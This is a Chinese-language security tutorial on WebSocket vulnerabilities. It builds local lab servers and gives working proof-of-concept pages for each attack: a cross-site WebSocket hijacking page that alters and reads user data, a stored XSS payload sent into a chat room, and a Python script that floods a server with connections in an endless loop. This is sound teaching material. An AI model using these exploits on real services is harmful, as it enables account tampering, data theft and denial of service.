0x01 WebSocket基础
参考之前的文章:CSWSH漏洞总结
0x02 WebSocket安全
整体而言,WebSocket安全问题如下:
- 跨站点WebSocket劫持漏洞
- XSS
- DoS
- 信息泄露(指使用
ws:
而非使用wss:
进行加密传输)
这里只针对前三种进行说明。
0x03 跨站点WebSocket劫持漏洞
跨站点WebSocket劫持漏洞即CSWSH漏洞,具体原理可参考之前的博客:CSWSH漏洞总结
这里在之前的基础上,自己写了个漏洞靶场。
server.js,WebSocket服务端,支持查询用户信息、设置用户名、获取用户名等操作:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| var info = { "username": "admin", "phone": "13666666666", "address": "China" };
var WebSocketServer = require('ws').Server, wss = new WebSocketServer({ port: 8181 }); wss.on('connection', function (ws) { console.log('[*]Client connected!'); ws.on('message', function (message) { if (typeof message == 'string') { console.log("[*]Recieve: " + message); try { var obj = JSON.parse(message); if(typeof obj == 'object' && obj){ var opt = obj["option"]; if (opt === "get-info") { console.log("[*]send: " + JSON.stringify(info)); ws.send(JSON.stringify(info)); } else if (opt === "set-username") { info["username"] = obj["username"]; console.log("[*]set username: " + info["username"]); console.log(info["username"]); ws.send("Set username successfully."); } else if (opt === "whoami") { console.log("[*]get username: " + info["username"]); console.log(info["username"]); ws.send(info["username"]); } else { ws.send("OK"); } }else{ console.log('[-]Not a JSON type message.'); } } catch(e) { console.log('[-]Error: ' + message + '! ' + e); } } }); });
|
client.html,WebSocket客户端,用于获取当前用户名:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| <!DOCTYPE HTML> <html> <head> <meta charset="utf-8"> <title>WebSocket Client</title> <script type="text/javascript"> function getUsername() { if ("WebSocket" in window) { var ws = new WebSocket("ws://192.168.43.28:8181"); ws.onopen = function() { ws.send(JSON.stringify({"option":"whoami"})); }; ws.onmessage = function (evt) { var username = evt.data; alert(username); }; } else { alert("您的浏览器不支持 WebSocket!"); } } </script> </head> <body> <button onclick=getUsername()>查询用户名</button> </body> </html>
|
运行服务端,然后客户端跨域连接即可查询到用户名:
基于此,编写漏洞利用页面poc.html,结合前面的服务端接口功能,可以实现类似于CSRF攻击手段来篡改用户名、窃取用户敏感信息等:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65
| <!DOCTYPE html> <meta charset="utf-8" /> <title>WebSocket PoC</title> <script language="javascript" type="text/javascript">
var wsUri = "ws://192.168.43.28:8181"; var output;
function init() { output = document.getElementById("output"); testWebSocket(); }
function testWebSocket() { websocket = new WebSocket(wsUri); websocket.onopen = function(evt) { onOpen(evt) }; websocket.onclose = function(evt) { onClose(evt) }; websocket.onmessage = function(evt) { onMessage(evt) }; websocket.onerror = function(evt) { onError(evt) }; }
function onOpen(evt) { writeToScreen("CONNECTED");
doSend('{"option":"set-username", "username":"mi1k7ea"}'); }
function onClose(evt) { writeToScreen("DISCONNECTED"); }
function onMessage(evt) { writeToScreen('<span style="color: blue;">RESPONSE: ' + evt.data+'</span>'); websocket.close(); }
function onError(evt) { writeToScreen('<span style="color: red;">ERROR:</span> ' + evt.data); }
function doSend(message) { writeToScreen("SENT: " + message); websocket.send(message); }
function writeToScreen(message) { var pre = document.createElement("p"); pre.style.wordWrap = "break-word"; pre.innerHTML = message; output.appendChild(pre); }
window.addEventListener("load", init, false); </script> <h2>WebSocket PoC</h2> <div id="output"></div>
|
攻击窃取用户敏感信息:
修改用户配置,然后正常用户查询的时候发现内容被修改了:
0x04 XSS
很多站点是使用WebSocket来实现在线实时聊天功能的,这其中就可能存在聊天室XSS漏洞。当然,其他应用WebSocket的场景可自行研究是否存在类似的问题。
直接用网上的聊天室Demo改的靶场。
server.js,聊天室WebSocket服务端:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64
| var WebSocket = require('ws'); var WebSocketServer = WebSocket.Server, wss = new WebSocketServer({ port: 8181 }); var uuid = require('node-uuid'); var clients = []; function wsSend(type, client_uuid, nickname, message) { for (var i = 0; i < clients.length; i++) { var clientSocket = clients[i].ws; if (clientSocket.readyState === WebSocket.OPEN) { clientSocket.send(JSON.stringify({ "type": type, "id": client_uuid, "nickname": nickname, "message": message })); } } } var clientIndex = 1; wss.on('connection', function(ws) { var client_uuid = uuid.v4(); var nickname = "AnonymousUser" + clientIndex; clientIndex += 1; clients.push({ "id": client_uuid, "ws": ws, "nickname": nickname }); console.log('client [%s] connected', client_uuid); var connect_message = nickname + " has connected"; wsSend("notification", client_uuid, nickname, connect_message); console.log('client [%s] connected', client_uuid); ws.on('message', function(message) { if (message.indexOf('/nick') === 0) { var nickname_array = message.split(' '); if (nickname_array.length >= 2) { var old_nickname = nickname; nickname = nickname_array[1]; var nickname_message = "Client " + old_nickname + " changed to " + nickname; wsSend("nick_update", client_uuid, nickname, nickname_message); } } else { wsSend("message", client_uuid, nickname, message); } }); var closeSocket = function(customMessage) { for (var i = 0; i < clients.length; i++) { if (clients[i].id == client_uuid) { var disconnect_message; if (customMessage) { disconnect_message = customMessage; } else { disconnect_message = nickname + " has disconnected"; } wsSend("notification", client_uuid, nickname, disconnect_message); clients.splice(i, 1); } } }; ws.on('close', function () { closeSocket(); }); process.on('SIGINT', function () { console.log("Closing things"); closeSocket('Server has disconnected'); process.exit(); }); });
|
client.html,聊天室WebSocket客户端,:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90
| <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>WebSocket Echo Demo</title> <meta name="viewport" content="width=device-width, initial-scale=1"/> <link href="../bootstrap-3.3.5/css/bootstrap.min.css" rel="stylesheet" /> <script src="../js/jquery-1.12.3.min.js"></script> <script src="../js/jquery-1.12.3.min.js"></script> <script src="../bootstrap-3.3.5/js/bootstrap.min.js"></script> <script> var ws = new WebSocket("ws://192.168.43.28:8181"); var nickname = ""; ws.onopen = function (e) { console.log('Connection to server opened'); } function appendLog(type, nickname, message) { if (typeof message == "undefined") return; var messages = document.getElementById('messages'); var messageElem = document.createElement("li"); var preface_label; if (type === 'notification') { preface_label = "<span class=\"label label-info\">*</span>"; } else if (type == 'nick_update') { preface_label = "<span class=\"label label-warning\">*</span>"; } else { preface_label = "<span class=\"label label-success\">" + nickname + "</span>"; } var message_text = "<h2>" + preface_label + " " + message + "</h2>"; messageElem.innerHTML = message_text; messages.appendChild(messageElem); } ws.onmessage = function (e) { var data = JSON.parse(e.data); nickname = data.nickname; appendLog(data.type, data.nickname, data.message); console.log("ID: [%s] = %s", data.id, data.message); } ws.onclose = function (e) { appendLog("Connection closed"); console.log("Connection closed"); } function sendMessage() { var messageField = document.getElementById('message'); if (ws.readyState === WebSocket.OPEN) { ws.send(messageField.value); } messageField.value = ''; messageField.focus(); } function changName() { var name = $("#name").val(); if (ws.readyState === WebSocket.OPEN) { ws.send("/nick " + name); } }
function disconnect() { ws.close(); } </script> </head>
<body > <div class="vertical-center"> <div class="container"> <ul id="messages" class="list-unstyled"></ul> <hr/> <form role="form" id="chat_form" onsubmit="sendMessage(); return false;"> <div class="form-group"> <input class="form-control" type="text" id="message" name="message" placeholder="Type text to echo in here" value="" autofocus/> </div> <button type="button" id="send" class="btn btn-primary" onclick="sendMessage();"> Send Message </button>
</form> <div class="form-group"><span>nikename:</span><input id="name" type="text" /> <button class="btn btn-sm btn-info" onclick="changName();">change</button></div> </div> </div> </body> </html>
|
正常的聊天室交流使用:
漏洞利用页面poc.html:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
| <!DOCTYPE html> <meta charset="utf-8" /> <title>WebSocket PoC</title> <script language="javascript" type="text/javascript">
var wsUri = "ws://192.168.43.28:8181"; var output;
function init() { output = document.getElementById("output"); testWebSocket(); }
function testWebSocket() { websocket = new WebSocket(wsUri); websocket.onopen = function(evt) { onOpen(evt) }; websocket.onclose = function(evt) { onClose(evt) }; websocket.onmessage = function(evt) { onMessage(evt) }; websocket.onerror = function(evt) { onError(evt) }; }
function onOpen(evt) { writeToScreen("CONNECTED"); doSend('<img src=x onerror=alert(document.domain)>'); }
function onClose(evt) { writeToScreen("DISCONNECTED"); }
function onMessage(evt) { writeToScreen('<span style="color: blue;">RESPONSE: ' + evt.data+'</span>'); websocket.close(); }
function onError(evt) { writeToScreen('<span style="color: red;">ERROR:</span> ' + evt.data); }
function doSend(message) { writeToScreen("SENT: " + message); websocket.send(message); }
function writeToScreen(message) { var pre = document.createElement("p"); pre.style.wordWrap = "break-word"; pre.innerHTML = message; output.appendChild(pre); }
window.addEventListener("load", init, false); </script> <h2>WebSocket PoC</h2> <div id="output"></div>
|
用户被诱导访问后,将造成聊天室存储型XSS攻击:
0x05 DoS
WebSocket服务端的连接如果并未限制连接数,可能会导致DoS风险。
看个自己写的简单的靶场。
server.js,WebSocket服务端,很简单,直接连接并接受消息,但未限制连接数:
1 2 3 4 5 6 7 8
| var WebSocketServer = require('ws').Server, wss = new WebSocketServer({ port: 8181 }); wss.on('connection', function (ws) { console.log('[*]Client connected!'); ws.on('message', function (message) { console.log(message); }); });
|
client.html,WebSocket客户端,建立WebSocket连接并发送消息:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>WebSocket Echo Demo</title> <meta name="viewport" content="width=device-width, initial-scale=1"/> <link href="../bootstrap-3.3.5/css/bootstrap.min.css" rel="stylesheet" /> <script src="../js/jquery-1.12.3.min.js"></script> <script src="../js/jquery-1.12.3.min.js"></script> <script src="../bootstrap-3.3.5/js/bootstrap.min.js"></script> <script> var ws = new WebSocket("ws://192.168.43.28:8181"); ws.onopen = function (e) { console.log('Connection to server opened'); } function sendMessage() { ws.send($('#message').val()); } </script> </head>
<body > <div class="vertical-center"> <div class="container"> <p> </p> <form role="form" id="chat_form" onsubmit="sendMessage(); return false;"> <div class="form-group"> <input class="form-control" type="text" name="message" id="message" placeholder="Type text to echo in here" value="" /> </div> <button type="button" id="send" class="btn btn-primary" onclick="sendMessage();"> Send! </button> </form> </div> </div> </body> </html>
|
正常使用很简单,就是和WebSocket服务端建立连接并发送消息:
编写利用poc,就是使用Python的三方库ws4py实现循环建立WebSocket连接进行DoS攻击:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| import json from ws4py.client.threadedclient import WebSocketClient class CG_Client(WebSocketClient): def opened(self): req = 'mi1k7ea' self.send(req) def closed(self, code, reason=None): print("Closed down:", code, reason) def received_message(self, resp): resp = json.loads(str(resp)) data = resp['data'] if type(data) is dict: ask = data['asks'][0] print('Ask:', ask) bid = data['bids'][0] print('Bid:', bid) if __name__ == '__main__': while 1: ws = CG_Client('ws://192.168.43.28:8181') ws.connect()
|
攻击效果: